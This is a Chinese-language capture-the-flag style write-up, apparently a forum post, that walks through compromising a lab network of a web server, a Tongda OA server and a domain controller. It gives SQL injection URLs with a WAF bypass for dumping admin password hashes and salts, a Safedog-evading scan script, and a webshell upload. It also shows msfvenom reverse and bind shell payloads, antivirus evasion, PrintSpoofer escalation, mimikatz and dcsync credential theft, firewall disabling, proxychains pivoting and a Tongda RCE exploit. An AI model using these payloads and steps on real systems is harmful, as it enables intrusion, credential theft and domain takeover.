环境配置

本机ip:192.168.2.161

web

自带iis安全狗、服务器安全狗、windows defender

外网ip:192.168.2.114(桥接)

内网ip:10.10.1.131(VMnet18)

oa

自带360全家桶

内网ip1:10.10.1.130(VMnet18)

内网ip2:10.10.10.166(VMnet19)

dc

内网ip:10.10.10.165(VMnet19)

web机器和本机不能够ping通,但是本机能够访问web机器服务,因为防火墙原因阻断,这里为正常情况

oa系统处能ping通dc,ping不通web,同样为防火墙阻断,正常情况

从web机器访问一下oa系统可以访问

外网打点

masscan namp扫描带防火墙的主机

用arp探测工具netdiscover先扫描192.168.2.0段

masscan -p 1-65535 192.168.2.114 –-rate=100 //--rate参数为线程

进行host域名绑定

访问后传参进去可以看到有安全狗

nmap对对应端口进行扫描

编写目录扫描工具绕过防火墙CC拦截

看下web机器上的安全狗的防护日志

打开护卫神的web防火墙(抗CC)功能

我这里用御剑去扫描后台发现扫描不到

回到web容器上发现已经被拦截

编写dir_safedog.py脚本

完整代码如下:

#conding:utf-8



import requests

import time

import sys



with open('word.txt','r',encoding='utf-8') as readfile:

    for dirs in readfile.readlines():

       url = 'http://www.moonlab.com' + dirs.strip('\n')

       resp = requests.get(url)

       strlen = len(resp.text)

       print(url + '---' + str(resp.status_code) + '---len---' + str(strlen))

       time.sleep(0.5)



       if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500:

           with open('write.txt','a',encoding='utf-8') as writefile:

              writefile.write(url + '---' + str(resp.status_code) + '---len---' + str(strlen) + '\n')

找到登录入口

修改siteserver poc得到注入点

寻找对应版本的exp

https://github.com/w-digital-scanner/w9scan/tree/master/plugins/siteserver

这里对应版本为2739.py

对原始代码进行修改

运行siteserver.py,得到如下payload可以利用

复制payload得出数据库版本

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

绕过iis安全狗进行注入

直接报数据库名拦截

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=2;%20--

这里用到C语言的一个~符号,按位取反



按位取反“~”:按位取反1变0,0变1



~按位取反



5二进制00000101,取反11111010,代表-6

使用按位取反即可绕过

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=~2;%20--

本地搭建siteserver并连接sql server数据库

找到Administrator选择显示前1000行

这里的sql语句应该为

SELECT TOP 1000 [UserName],[Password],[PasswordFormat],[PasswordSalt],[CreationDate],[LastActivityDate],[LastModuleID],[CountOfLogin],[CreatorUserName],[IsChecked],[IsLockedOut],[PublishmentSystemID],[DepartmentID],[AreaID],[DisplayName],[Question],[Answer],[Email],[Mobile],[Theme],[Language] FROM bairong_Administrator;

直接使用sql语句被拦截

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name(select%20top%201%20username%20from%20bairong_Administrator)=~2;%20--

这里加上中括号也被拦截

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and (select top 1 username from [bairong_Administrator])=~1;%20--

把~1换位不拦截出现username:admin

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 username from [bairong_Administrator]);%20--

爆password:64Cic1ERUP9n2OzxuKl9Tw==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 password from [bairong_Administrator]);%20--

爆加密类型:Encrypted

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 PasswordFormat from [bairong_Administrator]);%20--

爆盐值:LIywB/zHFDTuEA1LU53Opg==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 PasswordSalt from [bairong_Administrator]);%20--

密码找回漏洞和网站后台getshell

用户名为admin

密保问题处抓包并置空

Forward把包放过去即可得到密码

登入后台到站点模板管理

先上一个收藏的asp大马,然后被拦了

然后上了一个过墙马,过是过了但是没有回显,马还在返回不到数据

最终拿的冰蝎aspx大马成功getshell

内网渗透

Windows Server2016提权

首先进行信息搜集

双网卡user权限

防护:安全狗、IIS安全狗、windows defender

利用PrintSpoofer提权

https://github.com/itm4n/PrintSpoofer

PrintSpoofer64.exe -i -c "whoami"

msf shellcode 绕过windows defender

msf生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.161 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt

掩日shellcode加密下载:

https://github.com/1y0n/AV_Evasion_Tool/releases/tag/2.1

免杀处理之后上360发现已经不免杀了

这里换了一个cs的免杀马成功上线到cs

新建一个监听派生给msf

hashcat破解web服务器hash

getuidsysinfo看一下基本情况

这里看到meterpreter为x86,需要进行进程迁移,ps看一下

我这里迁移到一个x64的系统进程里

hashdump抓一下hash

load mimikatz,这里之前msf5的时候还有kerberos这个命令,现在变了,help看一下

hashcat配合rockyou.txt字典破解hash

rockyou.txt下载地址:https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

hashcat -a 0 -m 1000 hash.txt rockyou.txt

这里我操作的问题没有弄出来,后面有机会具体学习下hashcat的用法

跨网段横向渗透

拿到抓到的hash登录远程桌面

手动关掉windows defender

进行本机信息搜集

msf下ifconfig发现为双网卡

arp查看arp缓存

利用icmp协议探测内网存活主机

for /l %i in (1,1,255) do @ ping 10.1.1.%i -w 1 -n 1 | find /i "ttl="

这里不知道为什么没有探测到,换一个协议探测一下

利用arp协议进行扫描

run arp_scanner -r 10.10.1.0/24

跨网段主机端口扫描

使用socks4a模块

配置proxychains.conf

添加10.10.1.0/24的路由

run autoroute -s 10.10.1.0/24    run autoroute -p

用proxychain扫描一下10.10.1.0段主机的80端口

proxychains nmap -sT -Pn 10.10.1.130 -p 80

用firefox访问80端口

proxychains firefox http://10.10.1.130

proxychains配合nmap对常用端口进行扫描

proxychains nmap -sT -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

这里可以看到许多端口开放但是都显示timeout,只有一个80端口能够访问到,可以判断内网主机开了防火墙

通达oa上传漏洞getshell

使用tongda_shell.py

https://github.com/Al1ex/TongDa-RCE

proxychains python3 tongda_shell.py http://10.10.1.130/

访问一下能够访问到

在蚁剑上设置代理

添加php测试连接成功

进入文件查看

对通达oa服务器信息搜集

上传shell后执行不了命令

这里可以用ipconfig > cmd.txt命令查看

这里我为了方便上传一个php大马上去执行命令

火狐访问下

进入大马进行信息搜集

首先whoami查看权限,system权限

首先看到DNS服务器为attack.local初步判断有内网,后面看到了双网卡存在

查看一下开放的端口,跟之前nmap扫描的情况大致相同

tasklist /svc对比下杀软情况发现有360全家桶

关闭oa系统自带防火墙

这里我在没有关闭firewall之前用nmap连接445端口是连接不到的

命令行关闭windows firewall

netsh advfirewall set allprofiles state off

关闭之后即可连接到445端口

msf正向木马拿到meterpreter

首先msf生成一个正向连接exe

msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe > abc.exe

msf开启监听

上传文件到oa系统

运行即可成功弹回session

收集内网域的信息

ifconfig可以看到是双网卡

migrate进行进程迁移后使用hashdump抓取hash

尝试使用mimikatz的msv命令获取明文,这里可以看到明文没有抓出来

net time定位域控

nltest /domain_trusts定位域

net user /domain查看域内用户

net group /domain查看域内用户组

net localgroup administrators /domain查看登陆过主机的管理员

net group "domain controllers" /domain查看域控制器

运用msf内置模块定位域控

run post/windows/gather/enum_domain

查看登录的用户

run post/windows/gather/enum_logged_on_users

或者shell直接进入目录下查看

查看组信息

run post/windows/gather/enum_ad_groups

查看域的token

run post/windows/gather/enum_domain_tokens

对域控进行端口扫描

这里ps寻找一个域管的进程,我这里选择的是2568,然后使用steal_token 2568提升为域管权限

然后就可以拿到一个域管的shell进程

这里我先exit退出一下用nmap对域控进行端口扫描

rev2self清除当前权限,然后用run autoroute -s 10.10.10.0/24添加一个路由表

使用proxychains配合nmap进行扫描,这里我扫描88、389都能够连接成功说明为域控

继续扫描一些常用端口

proxychains nmap -sT -Pn 10.10.10.165 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

这里看到开放了88、135、445、3389端口

利用kiwi dcsync_ntlm获取域管理员hash

先加载mimikatz、kiwi,这里需要用到dcsync_ntlm模块,这里没有迁移到域管进程,所以失败

steal_token 3196迁移到域管进程,然后执行dcsync_ntlm administrator获取域管hash

执行dcsync_ntlm krbtgt获取krbtgt用户hash

因为开了445端口所以考虑使用exploit/windows/smb/psexec进行hash传递

这里尝试了下直接用psexec传递不过去

利用sockscap64设置代理登录域控

这里直接拿hash到cmd5官网进行解密得到密码为!@#QWEasd123.

先使用proxychain看登录得上去不

proxychain rdesktop 10.10.10.165

这里报错是因为只有windows能够登录远程桌面

这里代理设置为socks4a连接域控

mstsc连接即可

dir当前目录,type flag.txt即可拿到flag


点击收藏 | 6 关注 | 1
登录 后跟帖